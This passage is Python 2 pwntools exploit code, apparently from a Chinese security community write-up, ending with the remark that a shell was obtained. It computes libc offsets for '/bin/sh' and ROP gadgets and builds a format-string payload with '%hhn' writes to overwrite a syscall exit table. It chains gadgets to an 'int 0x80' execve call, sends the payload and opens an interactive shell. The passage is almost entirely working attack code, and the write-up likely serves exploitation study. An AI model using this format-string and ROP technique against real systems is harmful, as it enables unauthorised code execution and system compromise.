binsh_addr=p_addr-(libc.symbols['printf']-next(libc.search('/bin/sh')))
print 'binsh addr:'+hex(binsh_addr)
syscall_exit_talbe=p_addr-0x4a3a0#
rop_addr=libc_base_addr+0x0011b9d2#0x0011b9d2 : ret 0xb9
print hex(rop_addr)
rop_addr1=(rop_addr&0x000000ff)-0xd
rop_addr2=0x100+( (rop_addr&0x0000ff00)/0x100 )-rop_addr1-0xd
rop_addr3=0x200+( (rop_addr&0x00ff0000)/0x10000 )-rop_addr2-rop_addr1-0xe#
print 'sys_call_exit_table:'+hex(syscall_exit_talbe)
#print 'break point:'+hex(p_addr-0x5ba0+0xd)
p_addr=p.recvuntil("\n")
payload=p32(syscall_exit_talbe)+p32(syscall_exit_talbe+1)+p32(syscall_exit_talbe+2)
fire='A'+p32(0x90909090)*2
fire+=p32(libc_base_addr+0x000e6d32)#0x000e6d32 : pop ecx ; pop ebx ; ret
fire+=p32(0x01010701)+p32(binsh_addr)
fire+=p32(libc_base_addr+0x000196d7)#0x000196d7 : add al, ch ; ret
fire+=p32(libc_base_addr+0x000176a2)#0x000176a2 : xor edx, edx ; pop esi ; pop edi ; pop ebp ; ret
fire+=p32(0x01010101)*3
fire+=p32(libc_base_addr+0x000795c0)#0x000795c0 : mov ecx, edx ; rep stosb byte ptr es:[edi], al ; pop edi ; ret
fire+=p32(0x01010101)
fire+=p32(libc_base_addr+0x0002a755)#0x0002a755 : int 0x80
payload+=fire
rop_addr1-=len(fire)
rop_addr1+=0x100
print hex(rop_addr1)
print hex(rop_addr2)
print hex(rop_addr3)
rop_addr1='%d' %rop_addr1
rop_addr2='%d' %rop_addr2
rop_addr3='%d' %rop_addr3
payload+='%.'+rop_addr1+'d%7$hhn'
payload+='%.'+rop_addr2+'d%8$hhn%.'+rop_addr3+'d%9$hhn'
#pdb.set_trace()
p.sendline(payload)
p.interactive()
成功获得SHELL： | 社区文章 |
Subsets and Splits